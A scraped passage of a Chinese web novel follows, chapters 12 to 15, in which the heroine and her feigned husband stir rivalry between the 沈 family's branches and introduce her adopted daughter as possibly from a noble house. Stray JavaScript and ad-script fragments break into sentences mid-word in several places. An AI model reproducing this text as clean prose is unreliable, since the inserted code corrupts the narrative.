秦娘将披风裹了裹,四处走了走,发现府中果真安静异常,护院一个也没见到,连老门房都不见踪影。 吴氏和姜氏已聚在正堂屋檐下,焦急的盼着两位爷快回来。 “两位婶婶,这是出什么事了?”秦娘来到两人跟前。 吴氏和姜氏此刻也顾不得对她设防,直言道:“奇了怪了,府里的男丁一夜之间全部不见踪影。” “这样啊……”秦娘叹了一声,作出话到嘴边又咽回去的姿态。 “两位爷已经着人去找了。”姜氏问道,“怎么不见我那大侄子?” 昨日那番话,说到了姜氏心里,她想了一晚上,觉得未必不能利用这个侄儿铲除异己。 想到这儿,她对秦娘亲热起来:“阿瑶别怕,你如今也算是我沈家的大少奶奶,自是有我们做长辈的庇护着。” 说罢,她拉起秦娘的手,放入自己掌心。 吴氏见状,在一旁翻了个白眼:“人家认不认咱们,还是另一回事呢!” 姜氏也不理她,吩咐周围丫鬟们认人:“都快来,见过你们大奶奶。” 丫鬟齐齐行了个礼。 秦娘笑道:“二婶婶说笑,他们男人之间纠缠不清,又关我们什么事。” “这话说的不错。”姜氏欣赏的看着她,“他们是他们,我们是我们,本来这府里老夫人打叶子牌都凑不够四个人,你来了,正巧,今儿我就带你去老夫人那儿玩乐一番。” “还想着玩乐!”吴氏瞪了她一眼,“眼下该怎么办?” 秦娘忙提醒:“我听说昨夜府里有下人娶亲?” “你倒是消息灵通。”姜氏回道,“一个不得力的奴罢了,犯了事昨夜已经被抓了。” “会不会是发生了什么,人都被官府带走了?或是都和那犯了事的家丁有关,潜逃了?”秦娘假意猜测。 两个妇人面面相觑。 她们一直生活在深闺大院,从未对外界那些事有过多的想法。 经秦娘一提醒,才发觉其中联系。 “若是真有歹人,为何只男丁消失了?”她继续提醒,“府里婢女都还在吧?还有你们的首饰、钱财没少吧?这也不是谋财,也不是害命,只能是自己跑了。” “唉呀,快!”姜氏吩咐起众人,“快随我去库房看看!” 遇上这种事,几人加紧步伐,很快来到了三房的住处。 三房的院子就在老夫人的院子后头,占据了整个沈宅的后半部分,内有正房侧方十余间,十分气派。 库房就在院子角落。 姜氏也不避人,让丫鬟们拿钥匙打开了库房大门,将东西一件件拿出来过目。 “嫂嫂倒是不急。”她看到吴氏也跟了过来,“你不快去盘一盘咱们沈家的总库房,跟着我来做什么?” 原来这只是三房的库房。 吴氏自嘲的笑了笑:“总库里有什么东西?除了那一堆账本!我管家这么多年,都没见过些好宝贝,原来都在你这里!” 姜氏搬出来的一箱箱东西,让秦娘也颇为惊讶。 有珠宝有昂贵布料,有古玩有字画,还有单独一箱稀奇玩意儿。 “二夫人,都在呢,一件没丢。”盘点完了东西,婢女们回话。 秦娘瞥见,吴氏绞着手里的手帕,紧紧咬了咬下嘴唇。 姜氏奇怪道:“果真一件没丢!” 她看看秦娘,越发觉得这侄儿侄媳妇都是有脑子的人。 “说不定阿瑶猜的没错。”姜氏亲切的走到秦娘面前,“待老爷回来,我可要将这事好好跟他说说。” 秦娘点点头:“当务之急,是赶紧再买些看家护院,至于那些潜逃的家奴,报了官由官府去查便是,这十来个家奴一起逃跑,在官府那儿可是大案,由不得他们不上心。” 姜氏满意的笑了,将目光投向吴氏:“嫂嫂听见了没?咱们这大奶奶管家倒是一把好手!要不让她跟你管家去?给你当个助手?” 吴氏心里暗戳戳道,三房这些好东西还不都是当年拿大房那些换的。 老夫人还真偏心! “好啊。”吴氏换上一副笑脸。 她要借管家一事,让秦娘发现这一真相,自己则坐山观虎斗,等两败俱伤之时,她得渔翁之利。 这边算盘打得噼啪响,那边秦娘已看出了沈家也不是密不透风的墙。 二房三房的间隙,她倒可以好好利用一下。 她跟姜氏告了辞,与吴氏一同离开了三房的院子。 吴氏不像姜氏那般能言会道,一路上默默无语,不知在想着什么。 秦娘小心翼翼问道:“听闻二婶婶家是隔壁宛城富商,怎么嫁入府中多年,手里物件还没三婶婶多么?” 吴氏抬头看了她一眼,笑而不语。 “是侄媳唐突了。”秦娘忙道歉。 “等时日多了,你便知道她手里那些,是哪里来的了。”吴氏话里有话。 秦娘知道她没挑明,便不再适合过多询问,于是转了时兴的话题。 她记得上一世这时候,江城有一种京城流 () { $(''.inform'').remove(); $(''#content'').append('' 传下来的布料遭到抢购,当时的大户人家几乎人手一件。 “听闻近日城中流行一种布料,叫祥云纱,婶婶可曾得过?”她问。 吴氏点头:“那料子虽叫纱,却是一种薄如纱的缎子,上边绣了祥云,那阳光一照泛着一层光,十分漂亮。我倒是见过,只是价格太贵。” “价格贵些,我们这些人家还是能用得起的。”秦娘道,“如今城中稍有脸面的人家,都在买这种料子做衣裳,若婶婶出门交际,不能和大家一样穿了一件去,那些人怎么看沈家?” 吴氏也十分喜欢那料子。 她本来正愁不知怎么开口,让沈言庆同意,听了秦娘的话觉得十分有道理。 想起姜氏那满箱子的绫罗绸缎,又激起了她心中强烈的妒意。 凭什么她一个小小知县的女儿,穿的戴的竟都比自己这个大富商家的女儿好? 她想起自己操劳沈家多年,眼看着每年收入逐渐减少,偶尔还得拿自己的钱贴补,却不料那姜氏每日坐吃享乐,还敛了那么多好东西! 马上家中添补家丁,又得让她出一大笔银子! 这回,她是无论如何也不会再傻了! 既然老夫人能把好的都留给三房,那就让她们出出血! 想到这儿,她学着姜氏的样子,挽起秦娘的手:“阿瑶,明日你就跟我一起,学学这管家的本事。” 秦娘会心一笑:“望婶婶不吝赐教。” 与吴氏道了别,秦娘便回了住处。 见陈衡的手下小厮俱在,她明白陈衡已然“处理”了那些人,回来了。 她战战兢兢的走了进去,向他告知今日打听到的成果。 小轩窗下摆了一张书桌,陈衡正坐在书桌前,身体微仰,闭着眼睛。 光线透过窗照在他线条分明的脸上,秦娘感到有一股拒人千里之外的冷漠气息。 她还从未如此仔细观察过那张脸。 相处已一月有余,她都被他这张风华贵气的脸骗了过去。 想到他顶着这全身的端方公子做派,到处杀人越货,秦娘不禁打了个冷颤。 陈衡听见脚步声,迅速睁开眼,坐直了身子,周身的冰冷瞬间一扫而空,仿佛适才一切都是秦娘的错觉。 他一笑,如春风拂面:“听闻阿瑶去了宅子里闲逛?” 秦娘做了什么,自有人跟他一五一十的描述。 秦娘忙收回目光,语句斟酌起来:“夫君放心,戏台子已搭好。二叔三叔家的隔阂,已有了苗头。” 陈衡盯了她半晌,才缓缓问道:“阿瑶是好奇,我这一大早去做了什么?” 他已然感受到了秦娘的变化。 秦娘微微退后,低着头回话:“有些事不该我知道,我自然……不会多问。” 她惜命,如今明白自己与虎谋皮,正悔的要死,多余的事她一件都不想知道。 室内的空气逐渐凝重。 就在她快要撑不住时,陈衡突然开了口。 “阿瑶向来有分寸,很好。” 秦娘松了口气。 她将自己接下来的计划详细跟他商量了一番,鼓起勇气支了些银两。 她要买些祥云纱,裁件衣裳,送去给姜氏。 同样回到家的沈言庆,也正被吴氏拦进了房里,将今日在三房那里所见一一详细的道说。 她本就一肚子委屈,看着屋里陈设处处不如三房,越想越气,说着说着便怨上了自己夫君。 13. 第十三章 “同样是兄弟两个,你整日在外忙碌,你那弟弟却花天酒地,怎么他家就能有那么多好东西?”吴氏说着委屈的泪水夺眶而出。 沈言庆摇头唉声叹气:“我那弟弟本就喜欢搜罗古玩字画,有那么些玩意儿也不稀奇!” “胡说!”吴氏气道,“他哪里来的钱搜罗那些?还不是你娘给的!老夫人怎么待你们兄弟俩如此厚此薄彼?” “唉,他收了那么几房小妾,又有那么多儿子要养,自然比我们花销大些!”沈言庆头疼不已,“我娘帮衬一下他也在理!” “呜呜——”吴氏哭的更厉害了,她嘴里咬着帕子,恨恨道,“说白了,你和你娘还是嫌我、嫌我生不出儿子!” “唉呀夫人你误会了!”沈言庆脸都快皱成一团了。 好好的怎么又说到子嗣上了。 “我不想生儿子吗?”吴氏哭的上气不接下气,“你瞧瞧我!整天忙的脚不沾地,一应公中账目、家丁安排、人情往来,哪样不是我打理?你在外忙沈家的生意,回到家也是倒头就睡!你说!怎么生儿子!” “哪比得上他三房,男男女女都不干活,只享乐!” …… 沈言庆被说的哑口无言。 “那……夫人你说怎么办?”他想了一想,提议道,“不然你让三房管家,你也歇歇身子?” “滚!”吴氏随手拿起床上枕头,一把砸到他脸上。 让三房管家,那这家里一切不全让姜氏克扣了去! “我宁愿让你那大侄媳妇来帮忙,也不会叫三房得了便宜!”她道。 沈言庆一听,从凳子上跳了起来。 “糊涂啊你!”他急道,“我那大侄这次回来是干什么来的,你都忘啦?他是来把沈家所有都拿走的!” 吴氏擦了擦眼泪:“你也不看看,这几年你们沈家进账出账多少,我都不知道贴了几回自己的银子了,他要拿让他拿好了!最好把三房和老夫人那儿的宝贝全拿走!反正那也是大房当年留的!” “闭嘴!”沈言庆指着她脑门,怒道,“蠢妇!只要他不拿走,这都是沈家的,等我那老娘一去,你还怕我那不成器的弟弟能得多少?最后不还是你我的!” 吴氏见他真动了气,立马闭了嘴。 “真的?”她小声问道,“你真有这打算?可别到时候又便宜了你那好弟弟!” 沈言庆想起沈言礼,面上浮现一抹轻蔑之色:“他还不配与我相提并论!” 他婆娘有一点没说错,沈言礼在外花天酒地,前几日还丢了粮铺,他就是一草包。 吴氏忙换上笑脸:“我就知道,我当初选了你,没看错人!我的夫君岂是那些没本事的能相比的!” 沈言庆听了这话很受用,他拉过吴氏的手:“让娘子受委屈了。” “你知道我委屈了,打算怎么补偿我?”她趁热打铁,“你最近常在外边跑动,听说街上又新出了一种叫祥云纱的料子,做成衣裳特别好看?” 沈言庆两眼一黑,那布料可不便宜。 不过为了哄自己娘子开心,他硬着头皮道:“别急,等这个月我去收了铺子的账,给你和两个女儿都买上几匹回来做衣服。” 吴氏喜笑颜开。 突然她又想起刚才丈夫的话,一拍大腿:“唉呀,我今天刚答应,带侄媳妇学管家呢!” “可千万别!”沈言庆忙提醒,“她若是摸清了我们府上的账……” “这可怎么办?”吴氏捂脸,十分懊脑,“早知道我就该拒了她!都怪姜氏那个蠢货,一个劲儿的撺掇……” 沈言庆拍拍她的手,安慰道:“你就随便带着她在府里转转,遇到重要的事,别让她在场。” 吴氏两眼一抹黑:“什么重要,什么不重要?” “比如……”沈言庆想起今日一大早,他便和弟弟一起出门办事,去衙门报了案,又从人牙子那儿买了些许家丁回来。 他将家丁一事告诉吴氏:“明日,你就将新买的下人聚在一起,分一分各院职责位置,让那侄媳跟你一起商量着,待这事办好就让她回去,等下午再悄没声的去账房,把钱给人牙子结了。” 吴氏知道,这次买奴又得花不少银子了。 不过看在丈夫答应给她买布料的事上,她将又要贴补银钱的不适生生压了下去。 ———————————————————————————————————————————————————— 这厢用了午饭,陈衡准备和秦娘一道去街上买料子。 娇娇已在绣坊学了一个月,正是要回家的日子。 所以出了沈家大门,秦娘迫不及待的指挥马车往绣坊的方向去。 想起和自己同乘的这位主人,她悄悄抬眼看了看他。 陈衡正一瞬不眨眼的盯着自己。 “公子……我去看看小女儿,成吗?”她摆出一副可怜样子。 这些日子不见,她的确想娇娇了,每晚睡前都忍不住担心娇娇过的好不好,有没有欺负她。 她们还从未分别这么久,就是上一世,她也能常在做工之余去看两个女儿。 这一世,竟然见秦馠比娇娇还多。 “你这个女儿,又是什么来历?”陈衡问道。 秦娘将捡到娇娇的情形讲了一下,想到陈衡正是从京城来,便想打听一番。 “京城有没有姓左的人家?”她问。 陈衡那双眼睛亮了亮。 左姓只有一家,京城人尽皆知,侯门武将。 不过女儿丢失这么久,却无人找来,他一时不好判断这件事到底是利是弊。 他索性没说实话:“待我修书一封,托人打听一下。” 秦娘感恩戴德。 如果能早点让娇娇回去,也少跟着她受苦了。 马车到了熟悉的巷子,绣坊门口已经陆续有家人来接绣娘们回家了。 可是秦娘如今回不了她那个家,一时又犯了难。 远远的她便看到娇娇坐在绣坊门口的门槛上,托着腮帮子,正往这边张望着。 那圆圆的小脸上一张嘟着的小嘴,白嫩的肤色在一群面黄肌瘦的孩子中异常出众。 秦娘跳下马车,向她走去。 娇娇也看到了她,站了起来,正准备奔跑迎接,却突然停住了脚步。 她看到娘亲乘坐的马车上,下来一个男子。 他衣裳纹着的金丝线,闪的她眼睛疼,只觉得一大片光跟在娘亲身后,向她而来。 娇娇有些呆滞。 她从来没想过,有一天她娘会和一个男 () { $(''.inform'').remove(); $(''#content'').append('' 人走在一起。 而且秦娘也变了。 变得和这样的男子走在一起,好像是天造地设的一对。 “娘。”她叫秦娘的声音,也怯怯的。 “怎么了?”秦娘见她神色异常,忙问,“在这里过得不好?有人欺负你了?” 娇娇摇了摇头,伸手指了指她身后。 “他是谁?” 秦娘突然不知道该怎么向她解释。 不等她回答,陈衡先向娇娇伸出了手,手心里躺着的是颗红果子。 “我是你爹。” 轰——秦娘只觉得自己脸上一团火,烧到了耳根子。 绣坊的师傅们正巧从里边出来,纷纷问道:“秦娘子,原来你有相公啊?” “真是一表人才,难怪娇娇生的娇美可爱!” “我早说过,娇娇开过蒙,一看就是富贵人家的孩子!” 众人你一言我一语,秦娘早羞的无地自容。 陈衡却镇定自如,拉过娇娇向众位女师傅行礼:“我家小女在此多有叨扰,谢过各位不吝赐教。在下常年在外,生意忙碌,还望各位多多看顾提点小女。” 说罢他竟吩咐手下当街发起了红包。 “来的仓促,望各位笑纳。” 整条街喜庆十足。 娇娇十分高兴,把红果子塞进嘴里:“有爹的感觉不错。” 秦娘扶额,她倒是这么快认下了。 待人去楼空,三人像一家三口一样上了马车。 秦娘愁容满面,看着一大一小大眼瞪小眼,话到嘴边好几次,硬是开不了口。 “娘,我们去哪儿?”娇娇问。 如今她们连马车也有了,应该不会回那个破草屋里了吧! 秦娘看了看陈衡。 “公子,我能不能不回沈府,带着娇娇在外过两日?” 她如今有钱,寻个客栈住着不是问题,租个院子更好。 陈衡摇了摇头:“不成,破绽太大。” “难不成让孩子单独一个人在外?”秦娘更是不准,“若是被人贩子拐走……不行,太危险!” 娇娇开口问:“娘亲,你们要去哪儿?他不是我爹吗?你为何叫他公子?应该叫他夫君!” 这一连串问的秦娘哑口无言。 “就回沈府。”陈衡发了话。 秦娘却将娇娇往身边搂了搂。 他应该不会对孩子下手? “这回你不怕府里那些人知道?”她试探道。 “你我成婚多年,是该有个孩子。”陈衡一脸认真。 “可这孩子是突然冒出来的。”秦娘不时观察他的脸色,“若是有人问起,又该如何?” 陈衡陷入了思考。 秦娘把娇娇抱在怀里,朝车门处挪了挪。 这两日她可要看好娇娇,若是暴露了,难免会被他“处理”掉。 陈衡眨了眨眼:“夫人……是否对我有误会?” 没等秦娘回话,马车突然停了下来。 风吹起了门帘,马前站了个修长的青年。 “车里可是秦馠姑娘亲人?”来人问。 秦娘见他背后背了把琴,想起了一个人来。 她曾跟秦馠提过的,琴师……不对,如今的乐工,商徵。 14. 第十四章 秦娘下了马车。 “请问先生何事?” 乐工商徵的目光微微震惊。 他原以为秦馠家贫,才来拜师学艺,做个琴女。 没想到这衣着气质完全不像和她一家。 他有些犹豫,是不是认错了? “在下刚收的小徒,秦馠姑娘,这位夫人可识得?”他又问一次。 原来秦馠已经拜了他为师。 秦娘点了点头:“自然识得,她曾是我女儿。” 商徵松了一口气,道:“听闻她被官差带走,不知夫人可有对策?” “让先生费心。”她叹了口气,道,“我……并不打算救她,世道险恶,她也该得一次教训。” 听了这话,商徵的双手握紧成了拳。 他听这小徒拜师时说过,自己无父无母,养母要把她送去苦地方做工,她不同意就被赶出家门。 如此可怜的身世,他才心软同意收她为徒。 看这养母衣着华贵,却待人如此刻薄,心中的一股怒火便烧了上来。 “恕在下直言,您身为她的长辈,却见死不救,无论之前种种如何,做母亲的难道就如此心狠?” “啊?”秦娘没想到,他是个脑子不清楚的。 难怪会从一代宠冠京城的人物,沦落到岌岌无名的乐工。 “先生糊涂,你难道不先问问我,你那徒儿为何被抓?”她讥讽道,“上来就要救人,又不是冤枉了她。” 商徵被说的脸上一阵红一阵白。 “那你说,她为何被抓?” “她啊,私卖朝廷的地。”秦娘想起她被沈鱼诓骗,从自己手里夺了地契,依旧十分生气。 商徵一愣,这可不是小罪。 他又怒道:“你做长辈的,怎么就给了她块公地?是故意想坑害她?” “那块地是她从我这儿抢的!”秦娘不知该哭还是该笑,“我当时就告知她地卖不了,可她不信,将地契拿走。” “既然不是你家的地,为何地契上没标明?” “最早是我爹娘留给我的,太小种不了地,便盖了房子住。”她解释道,“后来我们那一片交不起每年的赋税,就把所有的地统一给了张大户。” 这些大户有的受了朝廷恩泽,被免了赋税。 农户们在地里劳作的收成就全成了这些大户的,好在每年还能留些口粮。 他们住的地方和那些田地相比,占地不大,大户们自然不会赶这些给自己免费劳动的人走。 “那怎么又成了朝廷的地?”他问。 “这我就不知道了。”秦娘猜测道,“说不准是哪一天,张大户把地全上贡给了朝廷,这也是常有的。” 商徵还是不太相信秦馠能从养母手里抢地。 特别是秦馠来拜师的那一日,和面前的人穿着打扮简直天壤之别。 秦娘见他呆愣着,也不走,只得提醒了他两句。 “她一个姑娘家,又没门路,哪会出头?和她一起的那个骗子才是主谋。” 商徵终于回过了神:“你是说,她很快就能出来?” 秦娘点点头:“就怕她犯傻,要替那个骗子扛罪……你快去牢里看看她,说不定还能有救。” 想起那晚秦馠的美梦被那沈鱼击的破碎不堪,她应该后悔了吧! 如今拜到商徵门下,也算是有了个好的门路。 秦娘心里还是望她悔过之后有个好的结局。 辞了乐工商徵,买了布料,三人回了沈家。 小丫鬟们见来了个比自己还小的可爱孩童,不禁来了劲,一起给娇娇收拾起房间来。 娇娇却缠着秦娘要和她住一块儿。 丫鬟们打趣她:“夫人自然要和她的郎君住在一处,你见哪家孩子的娘不和爹睡一起?” “可是我从来都是和娘睡一起的!”她撅起小嘴。 “那是以前,现在你有爹了,自然不一样了!” 众人说着玩笑话,大房有了孩子这消息像长了翅膀,很快老夫人那边便得了消息。 “什么?我沈府的长孙嫡孙,竟然娶了个嫁过人还带着孩子的妇人?” 暖房内,老夫人神情激动,差点从榻上跳起来。 来报消息的人,是二房沈言庆偷偷安插在大房院子外洒扫的婆子。 “千真万确!”那婆子指天发誓,“我在院子外听得一清二楚!那孩童跟大奶奶叫娘,还说什么以前没爹,现在有爹了!” “天啊!”老夫人捂脸哭泣,“这陈氏是做什么吃的!京城好人家的女儿要多少有多少,她陈家也不是小户,如此糟蹋我那孙儿,竟叫他娶了个二婚的寡妇!这是成心报复我!呜呜……” 婢女婆子们手忙脚乱。 “快,快去叫二夫人三夫人来商量对策!”老夫人身边的大丫鬟吩咐。 老夫人擦了把脸,拿起身边拐杖,借力一下站了起来,就要走。 “我、我要去京城,我要去他陈家问个清楚!” 说罢,头一栽,又倒了回去。 这边乱成一团,吴氏那边却格外平静。 她第一个发现此事,派人去告知老夫人,又给在外忙碌的沈言庆带了个口信,要他查一查秦娘的身世。 待一切吩咐妥当,她才慢悠悠的往老夫人住处去。 姜氏的院子离的近,所以她第一个到了。 得到消息她还不太相信,看秦娘的样子实在不像是生过孩子的妇人。 姜氏进了老夫人常待的暖房,见老夫人气的躺在榻上,上气不接下气,忙吩咐众人开窗通风。 她凑近老夫人,小心提醒道:“娘,这事情还没弄清楚呢,你想,他们前几日回来没带什么孩童,况且就算两人真有女儿,也不会不带在身边。说不定是今日上街捡的小可怜。” 老夫人躺在那儿哼哼唧唧,自然不信。 她又劝道:“我就不信那陈氏会让自己亲儿子,娶一个嫁过人的……说不定我这侄媳身份特殊?” “特殊?她又不是公主!”老夫人气道,“就算是公主,我们沈家也不要一个嫁过人的公主!他们陈家丢得起这个人,我们丢不起!” “是是是。”姜氏忙顺着话应承。 吴氏掀开门帘走了进来。 刚才的话她也听到了。 “她要是公主,会藏着掖着不告诉我们?”她信步走到老夫人身边,“娘放心,二爷已着人查去了,别以为他们陈家多年在京城经营人脉,我们也有人在京城。” “我看啊,大侄儿这个娘子不简单。”姜氏摇了摇头,“陈家也不是吃素的,没那么大好处,会让外孙 () { $(''.inform'').remove(); $(''#content'').append('' 娶她过门?” 老夫人哭的浑浊的眼睛渐渐亮了起来。 “你们说,她会是个什么身份?”她问。 仔细想想,陈家在京城为官多年,儿孙一应婚事皆是人情往来,怎么也不会让外孙随便娶个女子。 这里边一定利益颇丰。 “难道不是公主,却是个郡主?”老夫人问。 吴氏沉着一张脸,她可不想侄媳妇能压过她去。 姜氏的父亲是个知县,风头就已经压过她。 就算吴家生意做的再大,和这些官家相比,还是差了一截。 姜氏笑道:“咱们在这儿猜有什么用,不如把侄儿侄媳叫来问问!之后京城那边查出了什么结果,也能佐证他们说的是真是假!” 老夫人身边的大丫鬟领了命,到大房处找秦娘。 一进门,陈衡正抱着个小丫头在院子里认字。 她见这小丫头长得白嫩,脖子间隐隐露出了一块白玉,温润光泽,不由心中咯噔一下。 这小姑娘的确不像是普通人家出身。 难道大奶奶真的是沈家高攀不上的人物? 说话间,她更恭敬了几分:“少爷,老夫人那边唤大奶奶过去。” 陈衡将娇娇放下,又拿起笔在纸上写了两笔画,像是没听到她说话。 她只好又说了一遍。 秦娘坐在廊檐下,看着这丫鬟,又不时偷偷瞄陈衡。 过了一会儿,陈衡才冷冷道:“沈家的少爷我可当不起,告诉下人,以后称我陈公子,称我娘子为夫人。” 大丫鬟站在那儿手足无措。 秦娘只好站了起来:“既然沈老夫人找我,我去一趟。” 陈衡也站了起来,将娇娇给了迎春。 “沈家老夫人吩咐,我们这客人不去,确实失礼。”他叫人去把今日买的布料拿上。 空着手去见长辈,的确不好。 不过这布料要送给姜氏,现在拿去,当着那么多人面给她,这叫人怎么接手? 秦娘不断向他使眼色。 可陈衡面不改色朝她走来,伸手拦住了她的腰。 “就请娘子陪为夫走一趟。” 这动作让秦娘僵了一下,可在那丫鬟看来,却是两人十分恩爱的样子。 她走在两人前头带路,想着一会儿该如何跟老夫人悄悄描述。 秦娘压低声音:“那布料……” 陈衡低头,凑到她耳边:“送礼也不一定要经我们的手。” “你的意思是?”秦娘猛地想清楚了其中关键。 若是这料子由她送给姜氏,在吴氏看来是明着挑拨她们妯娌关系。 可若是送给了老夫人,由老夫人再分给两人…… 这料子只能裁一身衣裳,所以必定不能平均。 见她一副恍然大悟的样子,陈衡满意的点了点头。 自打他见秦娘的第一眼起,就知道自己没挑错人。 若将来娶妻…… 他忙收回思绪,目光不自觉的向下看去。 秦娘那光洁的耳垂上,翠绿的小玉石正一晃一晃,略显俏皮,衬的她领子里藏着的一截长颈,白若凝脂。 那手挨着的细腰若扶柳,像道边种着的柳树细枝条,风一吹拂面而过,荡的人心不知所向…… 15. 第十五章 “好了娘,那是您长孙,就算之前不好相处,您是长辈,他还能找您算账不成?” 一行人走到老夫人院内,隐隐听到有人正劝解。 见来了人,已有小丫鬟掀开帘子,让几人进去。 “哎呦,我说什么来着?”姜氏见陈衡和秦娘一起来了,还带了礼,喜气洋洋道,“我就说吧,你长孙和孙媳念着你呢!看看带什么好东西来了?” 陈衡示意下人将东西呈上。 “来了这几日,晚辈还未曾拜访过老夫人。”他和秦娘一起给老夫人作了礼,道,“今日恰逢老夫人唤娘子前来,便一同来了。” 他对他这祖母,该有的礼数不少。 姜氏把那盖布掀开一看,惊道:“娘,这可是祥云纱!快瞧瞧!” 吴氏也高兴起来,她正求自家爷给买呢,这下有现成的了! 丫鬟把那布料呈给了沈老夫人。 只见那料子用细腻的丝线织成,上头的祥云图案不像单独绣上去的,倒像一起织进去的,浑然一体,还隐隐泛着一层光泽。 她活了一辈子,哪见过这么精巧的东西。 “这……是哪儿来的?”沈老夫人震惊。 姜氏笑得合不拢嘴:“自然是京城传过来的!你这孙儿和孙媳的一片心意,从京城带来这么贵重的物件……” 吴氏也上手摸了摸,这料子光滑细腻,穿在身上一定万分舒服。 沈老夫人忙叫人把东西先收好。 姜氏更是拉着秦娘的手,把她推到老夫人身边坐下。 沈老夫人打量起秦娘。 这孙媳五官眉眼长得大方得体,挑不出一处难看的地方。 只是…… 她拉起秦娘的手,却发现这手瘦若骨柴,触感又有些粗糙。 一瞬间她又琢磨不准了。 “好孩子,你回来这些天,祖母还没好好问问你。”她假笑道,“你过门几载了?这陈家远在京里,哥儿成亲也不知捎个消息。” 秦娘准备好原先的说辞,大方道:“我成亲已三年有余。” “哦……”沈老夫人点点头,又问,“不知你家是否也是京城人士?” 秦娘一听便知她要打听家里背景,于是乖巧点点头:“正是,我娘家姓秦。” “哦,姓秦啊……” 沈老夫人、吴氏、姜氏皆在脑海里搜寻着,京城姓秦的有什么大户。 想了一会儿,倒是什么都没想出来。 吴氏适时的问:“成亲三年了,你们……膝下有没有孩儿?” 娇娇回来的属实有些突然,秦娘一时没想好怎么回答。 这落在众人眼里,便觉她是心虚了。 果然,那个女童是她的女儿。 “我常年在外奔波,和娘子聚少离多。”陈衡开口道,“虽我膝下并未养育孩儿,不过阿瑶之前倒是有个女儿。” “什、什么意思?”老夫人问。 陈衡早已将众人神情尽收眼底,他扯了扯嘴角,露出一丝不易察觉的讥讽。 他道:“这女儿姓左,名唤娇娇。” 左? 众人吃了一惊。 谁不知道,全京城只有一户姓左的。 那可是战功赫赫,差点被封为异性王的存在。 难道这孙媳竟是侯门寡妇? 众人看秦娘的眼神顿时恭敬起来。 既然当初能嫁入侯门,怎么说也得是门当户对的。 不是相府嫡女,就是什么郡主县主。 几人也不敢瞎猜,更不敢往后问,毕竟守寡再嫁不是什么光彩事情,怕惹了这位身份尊贵的不高兴。 大家各怀心思,又说了会儿闲话,便由姜氏做主,送了陈衡和秦娘回去。 沈老夫人身边的大丫鬟,这才上前将刚才所见所闻一五一十的告知老夫人。 “老夫人,奴婢见着那女童了。”她回道,“奴婢瞧着,的确不像一般人。” 吴氏还未离开,忙问:“如何不同?” 大丫鬟回忆了片刻,说:“回二夫人,那女童生的细皮嫩肉的,一看就是被人宝贝着长大,整个人圆鼓鼓的,应该是没受过什么苦……” “……你再好好想想。”吴氏没得到什么有用信息,继续问,“就没有什么特别的,异于常人之处?” 大丫鬟一拍脑门记起来了:“有,有。我记得她身上带着一块玉,很不寻常。” “如何不寻常?”吴氏又问。 可丫鬟一时又形容不上来,只得回道:“那块玉我都看得出来,瞧那成色……一定不便宜,哎,二夫人见了就明白了。” 沈老夫人打断了吴氏的问话:“行了,我看我这孙儿没说假话,不必问了。” 吴氏讨了个没趣,想想那祥云纱还没分呢,于是将所有疑惑压下,起身告了退。 她要将这左家的消息告诉沈言庆,有了具体人家,更容易打听。 这边姜氏随着陈衡、秦娘一起。 她向来话多,一会儿讲讲府里的花草哪里枯了,哪里繁茂,一会儿又讲了下人们闹出的些许笑话。 讲着讲着,便说到了那几房小妾身上。 她看了看一直沉默不语的陈衡,斟酌片刻问道:“不知上回大侄子说的话,还作数否?” 陈衡装傻:“什么话?我怎么不记得了?” “就是……”她支支吾吾的,最后心一横,说了出来,“你那三叔,外边沾惹不少女子,这还不够,家里都多少房小妾了,昨日晚上他回来还同我说,他想再娶一房!” 说着说着拿帕子擦拭起了眼泪。 陈衡道:“三叔人已中年,身体倒是不输少年。” 姜氏被这话呛到了,捂着嘴咳了起来。 半响,她才抚了抚胸口。 “不是你婶娘我不让他收,实在是沈家这银子……亏空太大!”她凑了过来,压低了声音,“你不是想拿回你爹的田庄、你娘的嫁妆?你想,只你这三叔养这好几房的小妾,都得把这财产挥霍的剩不了多少了!到时候侄儿你怎么拿啊!” 陈衡假装陷入了沉思。 秦娘也没想到,姜氏有了这种心思,也想借这事达成心之所图。 虽知她还有后手,只想利用,不会轻易让陈衡得逞。 但这的确是个好机会。 陈衡缓缓开口:“婶婶想让我怎么做?” 姜氏一拍手,成了! 不过她也能沉得住气,眼看前方已到地方了,她便辞了两人。 “此事需从长计议,待我回去思索一番。” 她决议,要做就把事情做绝,不能给沈言礼留后路。 这几房小妾,包括外头的女子,她一个也不留! 姜氏如同一阵风一样,拐了几个弯便看不见身影。 院子里传来娇娇的嬉闹声。 可身边的陈衡站定,令她也不敢动。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >陈衡突然问她:“刚才姜氏的那番话,夫人觉得如何?” 秦娘略想了想,又不敢多话,只得回答:“公子不是已经答应了她?” 片刻不见回应,她悄悄抬头,见陈衡眸子低垂,思绪已神游在外,不知在想些什么。 此时外头已莺飞草长,春日的夕阳懒懒照在他身上,将整个人镀了一层金光。 直到娇娇跳着笑着来到门口,才发现两人。 “娘怎么不进来?”她问,看到陈衡转过身,又懦懦补了一句,“爹。” 她娘叫陈衡“公子”,她也不知道这声“爹”叫的到底对不对。 陈衡对她笑了笑。 秦娘看出这笑依旧是他常有的、仿佛在铜镜前练过百次的那种笑,她立刻将娇娇抱了起来。 “好了,别乱叫。”她教导娇娇,“以后就随娘叫‘公子’。” 陈衡听了这话,又盯着秦娘,认真道:“阿瑶可是对为夫有所误会?” 这是他第二次问了。 想起上次他夸赞自己“有分寸”,秦娘闭了嘴,不敢作答。 陈衡此次却有些不一样,他道:“你我同在这汲汲营营的宅中,夫妻本应同心。若是有什么隔阂……事难成,你也走不了不是?” 秦娘听明白了他的意思。 她只得乖乖叫了一声“夫君”,又教导娇娇还称他“父亲”。 陈衡神情稍显满意。 “这府中已换了我们的人。”他将事情如实告知,“那日得知你身份的人,已被我悉数安排。正好借此,沈府新入的家丁仆役,皆是我们的人。” 秦娘这才惊觉,原来他走一步看三步,不知不觉中竟安排妥当了一切。 又听他道将之前那些人“悉数安排”,遂想或许不是把人都灭口。 她松了一口气,又觉陈衡恢复了昔日君子之姿,便大胆问道:“敢问公子,那些人如何安排了?” 陈衡瞥了她一眼,负手走进院子,才堪堪回答。 “同你想的一样。又不一样。” 秦娘知道,他大抵是不愿告知自己。 于是便不再多话。 只有娇娇听了,还傻傻问道:“爹,娘,这又是什么哑谜?” 迎春她们听了这话,又打趣娇娇。 院子里终于又恢复了之前的祥和气氛。 而此刻,沈老夫人正在同姜氏欣赏那祥云纱。 